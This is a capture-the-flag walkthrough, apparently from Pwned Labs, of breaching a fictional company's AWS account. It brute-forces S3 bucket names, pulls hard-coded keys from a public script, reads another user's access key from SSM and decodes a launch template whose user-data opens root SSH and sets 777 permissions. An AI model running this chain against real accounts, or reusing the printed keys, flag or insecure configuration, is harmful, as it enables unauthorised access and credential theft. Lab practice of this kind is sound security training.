# s3 BRUTE FORCE TO BREACH

PWNEDLABS.IO

## Enumeration

We can discover the region a bucket is hosted in by a simple curl request:

```
$curl -I https://hlogistics-web.s3.amazonaws.com
HTTP/1.1 200 OK
x-amz-id-2:
DIBk3ZX0QaOqol0duOUpzVIlxyzil/9ES+6EkPe8vzr7AIxl6o2f/VepudFafJ3NrvxOxJsRsoo=
x-amz-request-id: R450TNVQZD5VF5V9
Date: Fri, 30 Jan 2026 09:59:52 GMT
x-amz-bucket-region: eu-west-2
```

Obviously the `200 OK` confirms its existence, but so would a `403 FORBIDDEN` response or some other `300` server response. Looking at the bucket url, the `-web` can give us the assumption that the naming process of Huge Logistics for their s3 buckets is likely `hlogistics-ENVIRONMENT`. That is to say, there may be hlogistics-images, hlogistics-data, etc.

We will use `ffuf` to find the other s3 buckets following this nomenclature. Since the buckets may all belong to `hlogistics`, but could be hosted in a different region, we will use `ffuf` to brute force the region out of every bucket as well:

$ffuf -u "[https://hlogistics-ENV.s3.REGION.amazonaws.com"](https://hlogistics-ENV.s3.REGION.amazonaws.com) -w "/home/user/SecLists/awsregions.txt:REGION" -w "/home/user/SecLists/awss3list.txt:ENV" -mc 200,403 -v 2>/dev/null

`ffuf` can be used to fuzz multiple parameters at once with the `-w "LIST.TXT:PLACEHOLDER` format. The `PLACEHOLDER` goes in the URL with its corresponding wordlist. `-mc 200,403` tells `ffuf` to only print results that return a `200 OK` or `403 FORBIDDEN` server response. `-v` is for verbose mode and the `2>/dev/null` prints errors to `/dev/null` instead of in the console.

```
[Status: 200, Size: 8959, Words: 4, Lines: 2, Duration: 62ms]
| URL | https://hlogistics-images.s3.eu-west-2.amazonaws.com
* ENV: images
* REGION: eu-west-2
[Status: 200, Size: 535, Words: 4, Lines: 2, Duration: 60ms]
| URL | https://hlogistics-web.s3.eu-west-2.amazonaws.com
* ENV: web
* REGION: eu-west-2
[Status: 200, Size: 426923, Words: 4, Lines: 2, Duration: 194ms]
| URL | https://hlogistics-storage.s3.us-east-1.amazonaws.com
```

```
* ENV: storage
* REGION: us-east-1
[Status: 200, Size: 642, Words: 4, Lines: 2, Duration: 66ms]
| URL | https://hlogistics-beta.s3.eu-west-2.amazonaws.com
* ENV: beta
* REGION: eu-west-2
[Status: 200, Size: 8495, Words: 4, Lines: 2, Duration: 74ms]
| URL | https://hlogistics-staticfiles.s3.eu-west-2.amazonaws.com
* ENV: staticfiles
* REGION: eu-west-2
```

We see here that we received a few results for new environments and new regions. Coincidentally, all send back a `200 OK` server response.

Next, it's time to enumerate every bucket we found:

```
$aws s3 ls s3://hlogistics-ENVIRONMENT --no-sign-request
```

Listing for `web` returns an index.html file, `images` are uninteresting pictures, `staticfiles` are framework files for the website, which COULD be interesting in some cases, but not this time. However, `beta` reveals a python script:

```
$aws s3 ls s3://hlogistics-beta --no-sign-request
2026-01-27 16:43:42 3507 SystemTrackingPackagesTest.py
```

We will download it thusly:

```
$aws s3 cp s3://hlogistics-beta/SystemTrackingPackagesTest.py . --no-sign-request
```

Reading the script we just downloaded, someone hard-coded AWS credentials inside. We will log in with our new keys using `aws configure`.

```
$aws sts get-caller-identity
{
"UserId": "AIDATRPHKUQK3U6DLVPIY",
"Account": "243687662613",
"Arn": "arn:aws:iam::243687662613:user/ecollins"
}
```

We are now the user `ecollins`. Reading further, we can see the script is interacting with a `Lambda` instance. `AWS Lambda` is a serverless compute service that allows you to run code without provisioning or managing servers. Anyway, we will now get the user policies associated with `ecollins`:

```
$aws iam list-user-policies --user-name ecollins
{
```

```
"PolicyNames": [
"SSM_Parameter"
]
}
```

We have the policy `SSM_Parameter`, so we will get the user policy now to dig deeper:

```
$aws iam get-user-policy --user-name ecollins --policy-name SSM_Parameter
{
"UserName": "ecollins",
"PolicyName": "SSM_Parameter",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ssm:GetParameter",
"ssm:DescribeParameters"
],
"Resource": "arn:aws:ssm:eu-west-2:243687662613:parameter/lharris"
}
]
}
}
```

## AWS Systems Manager

From the output, we see we are allowed to use `GetParameter` and `DescribeParameters` on the `SSM` service, `lharris` being the parameter. `AWS Systems Manager (SSM)` allows us to view and control our AWS infrastructure. The `SSM Parameters` allow us to store and manage sensitive information such as passwords, database connection strings and license codes. `SSM` differs from `AWS Secrets Manager` in that it is free up to 10,000 entries, whereas `Secrets Manager` has a monthly fee as well as API call fee. `Secrets Manager` has monthly, automatic password generation and rotation, and `SSM` does not. `SSM` is considered a basic, cheap solution to sensitive data management. The problem with basic and cheap is that it's easier to exploit.

Now, let's interact with `SSM` and see what we see:

```
$aws ssm get-parameter --name lharris
{
"Parameter": {
"Name": "lharris",
"Type": "StringList",
"Value": "AKIATRPHKUQKZ7DY6AFI,KEdeICdOb7QpVS+zD2mrHm7qby2S4Er5c2rwbbo9",
"Version": 2,
"LastModifiedDate": "2025-02-19T05:39:50.332000+00:00",
"ARN": "arn:aws:ssm:eu-west-2:243687662613:parameter/lharris",
"DataType": "text"
}
}
```

We see AWS keys stored in the `lharris` parameter. Cheap, basic and dangerous. Let's log in as `lharris`:

```
$aws sts get-caller-identity
{
"UserId": "AIDATRPHKUQK46UGVDBGN",
"Account": "243687662613",
"Arn": "arn:aws:iam::243687662613:user/lharris"
}
```

Now, what can be done to escalate privileges?

# AWS Enumerator

```
$~/go/bin/aws-enumerator enum -services all
....snip....
Message: Successful DYNAMODB: 1 / 5
Message: Successful EKS: 0 / 1
Message: Successful ECS: 0 / 8
Message: Successful EC2: 1 / 74
....snap....
```

Ooh la-la. Let's dump both sets of permissions:

```
$~/go/bin/aws-enumerator dump -services dynamodb,ec2
```

```
---------------------------------- DYNAMODB ----------------------------------
```

```
DescribeEndpoints
```

```
------------------------------------- EC2 ------------------------------------
```

```
DescribeLaunchTemplates
```

On the EC2, we see we have `DescribeLaunchTemplates` permissions. We will see what launch templates we have:

```
$aws ec2 describe-launch-templates
{
"LaunchTemplates": [
{
```

```
"LaunchTemplateId": "lt-05c3bbb6108e76f9b",
"LaunchTemplateName": "SCHEDULER",
"CreateTime": "2025-03-04T20:35:50+00:00",
"CreatedBy": "arn:aws:iam::243687662613:root",
"DefaultVersionNumber": 1,
"LatestVersionNumber": 1
}
]
}
```

We have a launch template named `SCHEDULER`, created by the `root` superuser. User data scripts are typical in launch templates for automation purposes. What sort of information do we have in the launch template `SCHEDULER`?

```
$aws ec2 describe-launch-template-versions --launch-template-name SCHEDULER --
query "LaunchTemplateVersions[0].LaunchTemplateData.UserData" --output text |
base64 --decode
#!/bin/bash

apt install -y aws-cli docker git curl unzip httpd mysql

systemctl enable docker
systemctl start docker
usermod -aG docker ec2-user
chmod 777 /var/run/docker.sock

mkdir -p /opt/huge-logistics
cd /opt/huge-logistics

aws s3 cp s3://huge-logistics-private/config.sh .
chmod +x config.sh
./config.sh

aws configure set region us-east-1

docker pull images.huge-logistic.local/worker:latest
docker run -d --name logistics-worker -p 8080:8080 images.huge-
logistic.local/worker:latest

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
echo "AllowUsers ec2-user root" >> /etc/ssh/sshd_config
systemctl restart sshd

chmod -R 777 /etc

flag: 797f9edff5cbdaca5d0902030b7bcfe8
```

Is there anything extremely dangerous? No, not really, but this is more information on internal systems than we had before. We see that on launch, the system will install `aws cli` and `docker`, make an `/opt/huge-logistics` folder where an s3 bucket, `huge-logistics-private`, which we didn't know about before, has its `config.sh` file copied, launching the ec2 instance in the `us-east-1` region. It'll run inside the `docker` container on port `8080`. After adding a few extra permissions into `sshd_config`, read permissions are given to the `/etc` directory.